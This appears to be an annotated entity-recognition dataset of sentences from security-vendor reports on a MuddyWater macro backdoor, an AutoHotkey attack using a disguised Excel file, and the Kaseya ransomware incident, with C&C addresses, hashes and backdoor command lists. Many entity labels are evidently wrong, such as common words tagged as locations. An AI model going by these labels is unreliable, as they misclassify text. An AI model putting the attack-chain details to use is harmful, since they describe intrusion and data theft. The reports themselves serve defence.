-{"id":10329,"text":"The scripts will then be decoded and dropped to execute the payload without needing to download the component files.","entities":[{"id":31486,"label":"location","start_offset":12,"end_offset":16},{"id":31487,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":10330,"text":"As mentioned earlier, our analysis of the sample revealed characteristics that likely connect it to the MuddyWater campaign, in particular:  The delivery method, which involves the use of a malicious document with an embedded macro as a lure for potential victims The obfuscation method for the macro scripts, which will result in an intended backdoor payload.","entities":[{"id":31488,"label":"location","start_offset":42,"end_offset":48},{"id":31489,"label":"location","start_offset":79,"end_offset":85},{"id":31491,"label":"location","start_offset":115,"end_offset":123},{"id":31492,"label":"location","start_offset":237,"end_offset":241},{"id":31493,"label":"location","start_offset":316,"end_offset":320}],"relations":[],"Comments":[]}
-{"id":10331,"text":"This method is commonly used in samples that were used in the MuddyWater campaign    Infection chain   Figure 1.","entities":[{"id":31495,"label":"location","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":10332,"text":"Comparison of the infection chains used in the previous and current campaigns Technical details","entities":[{"id":31497,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":10333,"text":"The sample we analyzed was a Word document used as a lure for unsuspecting victims.","entities":[{"id":31498,"label":"location","start_offset":4,"end_offset":10},{"id":31499,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":10334,"text":"However, unlike the samples from the previous campaigns, the lure document deals with a different subject matter.","entities":[{"id":31500,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":10335,"text":"Instead of using government or telecommunications-related documents, the new lure document presents itself as a reward or promotion, which could indicate that the targets are no longer limited to specific industries or organizations.","entities":[{"id":31501,"label":"location","start_offset":77,"end_offset":81},{"id":31502,"label":"location","start_offset":112,"end_offset":118},{"id":31503,"label":"location","start_offset":171,"end_offset":174}],"relations":[],"Comments":[]}
 {"id":10336,"text":" Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":10337,"text":"Sample lure document used in the new campaign","entities":[{"id":31505,"label":"location","start_offset":0,"end_offset":6},{"id":31506,"label":"location","start_offset":7,"end_offset":11},{"id":31507,"label":"location","start_offset":37,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":10338,"text":"The document is designed to trick users into enabling the macro to view its full content.","entities":[{"id":31508,"label":"location","start_offset":67,"end_offset":71},{"id":31509,"label":"location","start_offset":81,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":10339,"text":"However, the macro's true purpose is to allow it to execute malicious routines without the user’s knowledge.","entities":[{"id":31510,"label":"location","start_offset":21,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":10340,"text":"Once the macro is enabled, it will use the Document_Open() event to automatically execute the malicious routine if either a new document using the same template is opened or when the template itself is opened as a document0.","entities":[{"id":31511,"label":"location","start_offset":30,"end_offset":34},{"id":31512,"label":"location","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":10341,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":10342,"text":"Executing the malicious routine via Document_Open()","entities":[],"relations":[],"Comments":[]}
-{"id":10343,"text":"The malicious macro's code snippet uses three main functions, specifically:  The function contained in the RED box is the Document_Open() event, where all the sub-functions will be executed\/called.","entities":[{"id":31514,"label":"location","start_offset":173,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":10344,"text":"The code inside the GREEN box manipulates the images shown in the document's body.","entities":[{"id":31515,"label":"location","start_offset":20,"end_offset":25}],"relations":[],"Comments":[]}
 {"id":10345,"text":"The code inside the BLUE box constructs the main Powershell commands and scripts.","entities":[{"id":31516,"label":"location","start_offset":20,"end_offset":24},{"id":31517,"label":"attack-pattern","start_offset":49,"end_offset":59},{"id":31518,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":10346,"text":"These will be executed to perform the main routine.","entities":[{"id":31519,"label":"location","start_offset":6,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":10347,"text":"   Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":10348,"text":"A snippet of the malicious macro’s code, marked with colored boxes to show the different functions Decoding and deobfuscation","entities":[{"id":31521,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":10349,"text":"Analysis of the code revealed a PowerShell script capable of decoding the contents of the malicious document, which results in the execution of yet another encoded PowerShell script.","entities":[{"id":31522,"label":"attack-pattern","start_offset":32,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":10350,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":10351,"text":"The Powershell script contained in the sample's code  Figure 6.","entities":[{"id":31526,"label":"location","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":10352,"text":"The second encoded PowerShell script, which is executed after the first script is decoded This will then result in more readable PowerShell scripts capable of dropping various components in the %Application Data%\\Microsoft\\CLR\\* directory.","entities":[{"id":31529,"label":"attack-pattern","start_offset":19,"end_offset":29},{"id":31530,"label":"location","start_offset":95,"end_offset":99},{"id":31531,"label":"attack-pattern","start_offset":129,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":10353,"text":"The main PowerShell file invoker.ps1 uses these components to run the final payload, PRB-Backdoor, previously analyzed by other security researchers in May 2018.","entities":[{"id":31532,"label":"attack-pattern","start_offset":9,"end_offset":19},{"id":31533,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":10354,"text":" Figure 7: The components dropped in the %Application Data%\\Microsoft\\CLR\\* directory PRB-Backdoor is a backdoor that takes its name from the function used in the final PowerShell script payload, as seen in the figure below.  Figure 8.","entities":[{"id":31536,"label":"attack-pattern","start_offset":169,"end_offset":179}],"relations":[],"Comments":[]}
 {"id":10355,"text":"The PS function from which PRB-Backdoor takes its name","entities":[],"relations":[],"Comments":[]}
-{"id":10356,"text":"The backdoor communicates with its Command-and-Control (C&C server), hxxp:\/\/outl00k[.]net, to send and receive the following commands:    Command  Details","entities":[{"id":31538,"label":"location","start_offset":43,"end_offset":46},{"id":31539,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":10357,"text":"PRB-CREATEALIVE Initializes connection with the C&C Server PRB-CREATEINTRODUCE","entities":[],"relations":[],"Comments":[]}
 {"id":10358,"text":"Registers","entities":[],"relations":[],"Comments":[]}
 {"id":10359,"text":"introduces the affected machine to the C&C server PRB-History","entities":[],"relations":[],"Comments":[]}
-{"id":10360,"text":"Gather browsing histories from different browsers and send it to the C&C server using the \"sendfile\" function PRB-PASSWORD Steals passwords listed or found in the browser histories PRB-READFILE Reads files PRB-WRITEFILE","entities":[{"id":31540,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":10361,"text":"Writes files PRB-Shell Executes shell commands PRB-Logger Calls the \"Logger\" function, used to record keyboard strokes PRB-Shot Triggers the SNAP function, used to capture  screenshots PRB-funcupdate Updates functions sysinfo Gathers system information Start_Dns Initializes DNS Session\/Connection   ","entities":[{"id":31541,"label":"location","start_offset":17,"end_offset":22},{"id":31542,"label":"location","start_offset":32,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":10362,"text":"If these samples are indeed related to MuddyWater, this means that the threat actors behind MuddyWater are continuously evolving their tools and techniques to make them more effective and persistent.","entities":[{"id":31543,"label":"location","start_offset":17,"end_offset":20},{"id":31544,"label":"threat-actor","start_offset":39,"end_offset":49},{"id":31545,"label":"location","start_offset":56,"end_offset":61},{"id":31546,"label":"threat-actor","start_offset":92,"end_offset":102},{"id":31547,"label":"location","start_offset":103,"end_offset":106},{"id":31548,"label":"location","start_offset":141,"end_offset":144},{"id":31549,"label":"location","start_offset":164,"end_offset":168},{"id":31550,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":10363,"text":"Countermeasures and Trend Micro Solutions","entities":[{"id":31551,"label":"location","start_offset":16,"end_offset":19},{"id":31552,"label":"location","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":10364,"text":"Given the use of lure documents designed with social engineering in mind, it is likely that the attackers use phishing or spam to target users who are unaware of these documents' malicious nature.","entities":[{"id":31553,"label":"location","start_offset":0,"end_offset":5},{"id":31554,"label":"location","start_offset":17,"end_offset":21},{"id":31555,"label":"location","start_offset":80,"end_offset":86},{"id":31556,"label":"attack-pattern","start_offset":110,"end_offset":118},{"id":31557,"label":"location","start_offset":130,"end_offset":136},{"id":31558,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":10365,"text":"Awareness can effectively mitigate or stop these kinds of attacks from being successful.","entities":[{"id":31559,"label":"location","start_offset":10,"end_offset":13},{"id":31560,"label":"malware","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":10366,"text":"The first step is to be able to identify phishing attacks and distinguish legitimate emails from malicious ones.","entities":[{"id":31562,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":31563,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":10367,"text":"Telltale signs of social engineering include “too-good-to-be-true” offers and messages that lack context.","entities":[{"id":31564,"label":"location","start_offset":50,"end_offset":54},{"id":31565,"label":"location","start_offset":61,"end_offset":65},{"id":31566,"label":"location","start_offset":74,"end_offset":77},{"id":31567,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":10368,"text":"In general, users should always practice caution when it comes to email.","entities":[],"relations":[],"Comments":[]}
-{"id":10369,"text":"This includes avoiding clicking on links or downloading any documents unless certain that these are legitimate.","entities":[{"id":31568,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":10370,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.","entities":[{"id":31570,"label":"location","start_offset":68,"end_offset":71},{"id":31572,"label":"location","start_offset":120,"end_offset":123},{"id":31573,"label":"location","start_offset":144,"end_offset":148},{"id":31574,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":10371,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.","entities":[{"id":31575,"label":"location","start_offset":95,"end_offset":98},{"id":31576,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":10372,"text":"Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":31577,"label":"location","start_offset":6,"end_offset":11},{"id":31578,"label":"location","start_offset":26,"end_offset":34},{"id":31579,"label":"location","start_offset":55,"end_offset":60},{"id":31580,"label":"location","start_offset":105,"end_offset":115},{"id":31581,"label":"malware","start_offset":119,"end_offset":123},{"id":31582,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":31583,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":10373,"text":"Trend Micro™","entities":[],"relations":[],"Comments":[]}
-{"id":10374,"text":"Deep Discovery™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.","entities":[{"id":31585,"label":"location","start_offset":32,"end_offset":35},{"id":31587,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":10375,"text":"At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.","entities":[{"id":31589,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10376,"text":"These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.","entities":[{"id":31590,"label":"location","start_offset":16,"end_offset":19},{"id":31592,"label":"location","start_offset":80,"end_offset":85},{"id":31593,"label":"location","start_offset":149,"end_offset":154},{"id":31594,"label":"location","start_offset":184,"end_offset":189},{"id":31595,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
-{"id":10377,"text":"It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.","entities":[{"id":31596,"label":"location","start_offset":17,"end_offset":25},{"id":31597,"label":"location","start_offset":57,"end_offset":64},{"id":31598,"label":"location","start_offset":65,"end_offset":68},{"id":31599,"label":"location","start_offset":83,"end_offset":86},{"id":31600,"label":"location","start_offset":101,"end_offset":104},{"id":31601,"label":"location","start_offset":133,"end_offset":136},{"id":31602,"label":"location","start_offset":137,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":10378,"text":"Indicators of Compromise (IoCs) Detected as W2KM_DLOADR.UHAOEEN - 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b        Tags  APT & Targeted Attacks | Endpoints | Research | Articles, News, Reports | Network","entities":[{"id":31603,"label":"MD5","start_offset":66,"end_offset":130},{"id":31604,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":10379,"text":"We discovered a potential targeted attack that makes use of legitimate script engine AutoHotkey, in combination with malicious script files.","entities":[],"relations":[],"Comments":[]}
-{"id":10380,"text":"This file is distributed as an email attachment and disguised as a legitimate document with the filename “Military Financing.xlsm.”","entities":[{"id":31605,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":10381,"text":"The user would need to enable macro for it to open fully, which would use AutoHotkey in loading the malicious script file to avoid detection.","entities":[],"relations":[],"Comments":[]}
 {"id":10382,"text":"It will then enable the threat actors to steal certain information and even download TeamViewer to gain remote access to the system.","entities":[{"id":31606,"label":"location","start_offset":3,"end_offset":7},{"id":31607,"label":"location","start_offset":67,"end_offset":70},{"id":31608,"label":"malware","start_offset":85,"end_offset":95},{"id":31609,"label":"location","start_offset":104,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":10383,"text":"If the user enables macro to open the xlsm file, it will then drop the legitimate script engine AutoHotkey along with a malicious script file.","entities":[{"id":31610,"label":"location","start_offset":52,"end_offset":56},{"id":31611,"label":"location","start_offset":107,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":10384,"text":"Once the AutoHotkey loads the malicious script file, it connects to its C&C server to download and execute additional script files in response to commands from the server.","entities":[{"id":31613,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":10385,"text":"In our observation, it lastly downloaded and executed TeamViewer to gain remote control over the system.","entities":[{"id":31614,"label":"location","start_offset":41,"end_offset":44},{"id":31616,"label":"location","start_offset":73,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10386,"text":"However, it can download and execute other script files depending on the command it receives from the C&C server.","entities":[{"id":31617,"label":"location","start_offset":12,"end_offset":15},{"id":31618,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":10387,"text":"  Figure 1. Attack chain starting with the arrival of the email with the malicious attachment The Excel File","entities":[{"id":31620,"label":"location","start_offset":98,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":10388,"text":"The attached excel file is titled “Foreign Military Financing (FMF),” named after a program of the U.S. Defense Security Cooperation Agency.","entities":[{"id":31621,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":10389,"text":"This cover was likely used to further push users to enable content so that they can access confidential information.","entities":[{"id":31623,"label":"location","start_offset":15,"end_offset":21},{"id":31624,"label":"location","start_offset":59,"end_offset":66},{"id":31625,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":10390,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":10391,"text":"Content of the Excel file","entities":[{"id":31627,"label":"location","start_offset":0,"end_offset":7},{"id":31628,"label":"location","start_offset":15,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":10392,"text":"At first glance, the excel file seems to only have one filled sheet.","entities":[{"id":31629,"label":"location","start_offset":21,"end_offset":26},{"id":31630,"label":"location","start_offset":41,"end_offset":45},{"id":31631,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":10393,"text":"However, as can be seen in figure 2, it has another sheet inconspicuously named with a “ ” or a blank space.","entities":[{"id":31632,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
 {"id":10394,"text":" Figure 3.","entities":[],"relations":[],"Comments":[]}
-{"id":10395,"text":"HEX strings in the second sheet originally “hidden” using white font Once the user enables macro for this file, it drops two files through the HEX strings written as binary text in two columns of the blank space sheet.","entities":[{"id":31636,"label":"location","start_offset":58,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":10396,"text":"These HEX strings are originally written in white font, to make it appear as if the columns were blank.","entities":[{"id":31637,"label":"location","start_offset":18,"end_offset":21},{"id":31638,"label":"location","start_offset":44,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":10397,"text":"These dropped files are:  Content of column X: 「C:\\ProgramData\\AutoHotkeyU32.exe」(legitimate AutoHotkey executable file) Content of column Y: 「C:\\ProgramData\\AutoHotkeyU32.ahk」(malicious script for AutoHotkey created by the attacker)  The malicious string and abuse of AutoHotkey","entities":[{"id":31639,"label":"location","start_offset":20,"end_offset":23},{"id":31640,"label":"location","start_offset":26,"end_offset":33},{"id":31641,"label":"location","start_offset":121,"end_offset":128},{"id":31642,"label":"location","start_offset":256,"end_offset":259}],"relations":[],"Comments":[]}
-{"id":10398,"text":"Depending on the script files, the AutoHotkey application can assign a hotkey or execute any process written in the script file.","entities":[{"id":31643,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":10399,"text":"In this case, the script file AutoHotkeyU32.ahk does not assign a hotkey but it does execute the following commands:","entities":[{"id":31644,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":10400,"text":" Create a link file in the startup folder for AutoHotkeyU32.exe, allowing the attack to persist even after a system restart.","entities":[{"id":31645,"label":"location","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":10401,"text":"Connect to the C&C server every 10 seconds to download, save, and execute script files containing the commands.","entities":[{"id":31646,"label":"TIME","start_offset":26,"end_offset":42},{"id":31647,"label":"location","start_offset":56,"end_offset":60},{"id":31648,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":10402,"text":"Send the volume serial number of the C drive, which allows the attacker to identify the victim.","entities":[],"relations":[],"Comments":[]}
 {"id":10403,"text":"    Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":10404,"text":"A partial code snippet of AutoHotkeyu32.ahk  Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":10405,"text":"A sample C&C response","entities":[{"id":31651,"label":"location","start_offset":2,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":10406,"text":"When the attacker sends a response similar to that shown in the figure 5 sample via the C&C, the script file converts the HEX strings into plain text, which translates to the URL “001::hxxp:\/\/185.70.186.145\/7773\/plug\/hscreen.ahk.”","entities":[{"id":31653,"label":"location","start_offset":73,"end_offset":79},{"id":31654,"label":"location","start_offset":139,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":10407,"text":"Then it downloads the ahk file (hscreen.ahk) from this URL, saves the file in “%temp%” folder using a random filename, and finally executes it by loading it through AutoHotkeyU32.exe.","entities":[{"id":31655,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":10408,"text":"The URL was no longer available at the time of writing.","entities":[{"id":31656,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":10409,"text":"Further research uncovered other dropped files involved in this attack.","entities":[],"relations":[],"Comments":[]}
-{"id":10410,"text":"These files allow the attackers to get the computer name and take screen captures.","entities":[{"id":31657,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":10411,"text":"More importantly, one of these files also enables the download of TeamViewer, a remote access tool that gives threat actors remote control over the system.","entities":[{"id":31658,"label":"location","start_offset":18,"end_offset":21},{"id":31660,"label":"location","start_offset":80,"end_offset":86},{"id":31661,"label":"location","start_offset":94,"end_offset":98},{"id":31662,"label":"location","start_offset":124,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":10412,"text":"We have yet to conclude this attack's exact purpose.","entities":[],"relations":[],"Comments":[]}
 {"id":10413,"text":"For now, we can surmise that it has the makings of a potential targeted attack because of its cyber espionage capabilities, as well as the potential for delivering ransomware and coinminer.","entities":[{"id":31663,"label":"location","start_offset":12,"end_offset":15},{"id":31664,"label":"location","start_offset":175,"end_offset":178},{"id":31665,"label":"malware","start_offset":179,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":10414,"text":"Security recommendations","entities":[{"id":31666,"label":"location","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":10415,"text":"As we continue to monitor this attack users can re-asses their security measures against similar cases.","entities":[{"id":31667,"label":"location","start_offset":18,"end_offset":25},{"id":31668,"label":"location","start_offset":44,"end_offset":47},{"id":31669,"label":"location","start_offset":63,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":10416,"text":"Against most attacks, users should implement a multilayer defense and have mitigation protocols in place to detect and address intrusions.","entities":[{"id":31670,"label":"location","start_offset":8,"end_offset":12},{"id":31671,"label":"location","start_offset":66,"end_offset":69},{"id":31672,"label":"location","start_offset":115,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":10417,"text":"Users should also take full advantage of their network defense solutions by enhancing settings, especially for macro malware attached emails.","entities":[],"relations":[],"Comments":[]}
-{"id":10418,"text":"Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources.","entities":[{"id":31673,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":10419,"text":"Microsoft provides several security notifications about enabling content.","entities":[{"id":31675,"label":"location","start_offset":27,"end_offset":35},{"id":31676,"label":"location","start_offset":65,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":10420,"text":" Other best practices:  Consistently check the sender, title, and body for any suspicious details before downloading and opening an attached file.","entities":[{"id":31677,"label":"location","start_offset":7,"end_offset":11},{"id":31678,"label":"location","start_offset":37,"end_offset":42},{"id":31679,"label":"location","start_offset":62,"end_offset":65},{"id":31680,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":10421,"text":"Always check the extension of any attached file to see if it is consistent with the received email.","entities":[{"id":31681,"label":"location","start_offset":7,"end_offset":12},{"id":31682,"label":"location","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":10422,"text":"Before enabling content to open a file, check for red flags such as content that urges the user to enable macro, or content that appears blank.  Indicators of Compromise (IoCs)  SHA256","entities":[{"id":31683,"label":"location","start_offset":16,"end_offset":23},{"id":31684,"label":"location","start_offset":40,"end_offset":45},{"id":31685,"label":"location","start_offset":68,"end_offset":75},{"id":31686,"label":"location","start_offset":116,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":10423,"text":"Filename","entities":[],"relations":[],"Comments":[]}
 {"id":10424,"text":"Detection name Description EFE51C2453821310C7A34DCA3054021D0F6D453B7133C381D75E3140901EFD12 Military Financing.xlsm W2KM_HTV.ZKGD-A","entities":[{"id":31687,"label":"SHA2","start_offset":27,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":10425,"text":"Carries the malicious script and AutoHotkeyU32.ahk 43FBDA74A65668333727C6512562DB4F9E712CF1D5AD9DCA8F06AE51BB937BA2 hscreen.ahk TSPY_HTV.ZJGD-A Takes screen captures ACB3181D0408C908B2A434FC004BF24FB766D4CF68BF2978BC5653022F9F20BE AutoHotkeyU32.ahk BKDR_HTV.ZKGD-A Loads the malicious script BE6C6B0942AD441953B0ED0C4327B9DED8A94E836EACA070ACA3988BADB31858 hinfo.ahk TSPY_HTV.ZLGD-A Gets the computer name F64792324839F660B9BDFDA95501A568C076641CF08CE63C1DDBE29B45623AC0 htv.ahk","entities":[{"id":31688,"label":"location","start_offset":29,"end_offset":32},{"id":31689,"label":"SHA2","start_offset":51,"end_offset":115},{"id":31690,"label":"SHA2","start_offset":166,"end_offset":230},{"id":31691,"label":"SHA2","start_offset":292,"end_offset":356},{"id":31692,"label":"SHA2","start_offset":406,"end_offset":470}],"relations":[],"Comments":[]}
 {"id":10426,"text":"TROJ_HTV.ZJGD-A Downloads and executes TeamViewer   C&C 185[.]70[.]186[.]145","entities":[{"id":31693,"label":"location","start_offset":26,"end_offset":29},{"id":31694,"label":"malware","start_offset":39,"end_offset":49},{"id":31695,"label":"IPV4","start_offset":56,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":10427,"text":"         Tags  APT & Targeted Attacks | Endpoints | Research","entities":[{"id":31696,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":10428,"text":"At the dawn of the Fourth of July weekend, Kaseya has been hit with a ransomware attack, as reported in the company’s own announcement.","entities":[{"id":31697,"label":"TIME","start_offset":3,"end_offset":41},{"id":31699,"label":"identity","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":10429,"text":"Kaseya provides IT management software to mostly managed service providers (MSPs).","entities":[],"relations":[],"Comments":[]}
-{"id":10430,"text":"As a result, the attack not only impacted the MSPs, but also the customers that they served.","entities":[{"id":31701,"label":"location","start_offset":28,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":10431,"text":"It even took a small town offline.","entities":[{"id":31702,"label":"location","start_offset":15,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":10432,"text":" Thankfully Kaseya acted extremely quickly advising all Kaseya VSA on-premises users to shut down their servers until further instructions.","entities":[],"relations":[],"Comments":[]}
-{"id":10433,"text":"We believe this early directive hugely mitigated the impact of this attack.","entities":[{"id":31705,"label":"location","start_offset":16,"end_offset":21},{"id":31706,"label":"location","start_offset":53,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":10434,"text":"Kaseya said the ransomware attack had “limited impact, with only approximately 50 of the more than 35,000 Kaseya customers being breached.","entities":[{"id":31708,"label":"location","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":10435,"text":"” But, as a MSP, customer’s trust is crucial which in turn will mean greater security scrutiny of the cybersecurity infrastructure you have in place.","entities":[{"id":31712,"label":"location","start_offset":28,"end_offset":33},{"id":31713,"label":"location","start_offset":59,"end_offset":63},{"id":31714,"label":"location","start_offset":77,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":10436,"text":"You don’t want to be one of the 50 who got hit by a ransomware.","entities":[{"id":31715,"label":"location","start_offset":21,"end_offset":24},{"id":31717,"label":"identity","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":10437,"text":"For MSPs working with Trend Micro, we have a very positive news.","entities":[],"relations":[],"Comments":[]}
-{"id":10438,"text":"Trend Micro Worry-Free endpoint security provides an effective first line of defense against the Kaseya ransomware through predictive machine learning and behavior monitoring capabilities.","entities":[{"id":31720,"label":"location","start_offset":32,"end_offset":40},{"id":31723,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
 {"id":10439,"text":"The ransomware was effectively blocked before the IOCs were added to our backend detection pattern.","entities":[],"relations":[],"Comments":[]}
-{"id":10440,"text":" Trend Micro is also blocking several known malicious domain disease vectors associated with the ransomware campaign via Trend Micro Web Reputation Services (WRS).","entities":[{"id":31725,"label":"location","start_offset":108,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":10441,"text":"The bottom line is that our layered approach is helping to prevent and protect our customers and our MSPs.","entities":[{"id":31727,"label":"location","start_offset":67,"end_offset":70},{"id":31728,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":10442,"text":"The Kaseya ransomware incident would definitely not be the last cyberattack toward MSPs as cybercriminals look to maximize their gains in the supply chain or infrastructure industries.","entities":[{"id":31730,"label":"location","start_offset":142,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":10443,"text":"This is where we come in -- we want to help you to protect your house.","entities":[{"id":31731,"label":"location","start_offset":64,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":10444,"text":"You need to make sure your business is protected.","entities":[],"relations":[],"Comments":[]}
-{"id":10445,"text":"We are offering all MSPs a free Not-For-Resale Worry-Free XDR License for internal use.","entities":[{"id":31732,"label":"location","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":10446,"text":"Worry-Free XDR includes cloud-based endpoint and email protection, EDR, and XDR.","entities":[{"id":31733,"label":"location","start_offset":24,"end_offset":29},{"id":31734,"label":"location","start_offset":45,"end_offset":48},{"id":31735,"label":"location","start_offset":55,"end_offset":65},{"id":31736,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":10447,"text":"In addition we will give you a 30-day use of a Security Operation Center as a Service solution and will allow you to receive:  Endpoint & Email security policy review and analysis Best Practice Configurations Assistance with enabling & configuring advanced XDR technologies 24x7 Monitoring and early threat containment Incident response services Remediation Assistance","entities":[{"id":31737,"label":"location","start_offset":15,"end_offset":19},{"id":31738,"label":"location","start_offset":20,"end_offset":24},{"id":31740,"label":"location","start_offset":47,"end_offset":55},{"id":31741,"label":"location","start_offset":66,"end_offset":72},{"id":31742,"label":"location","start_offset":95,"end_offset":98},{"id":31743,"label":"location","start_offset":99,"end_offset":103},{"id":31744,"label":"location","start_offset":144,"end_offset":152},{"id":31745,"label":"location","start_offset":167,"end_offset":170},{"id":31746,"label":"location","start_offset":180,"end_offset":184},{"id":31747,"label":"location","start_offset":290,"end_offset":293},{"id":31748,"label":"location","start_offset":294,"end_offset":299}],"relations":[],"Comments":[]}
 {"id":10448,"text":"Access","entities":[],"relations":[],"Comments":[]}
-{"id":10449,"text":"to Security Analysts","entities":[{"id":31749,"label":"location","start_offset":3,"end_offset":11}],"relations":[],"Comments":[]}
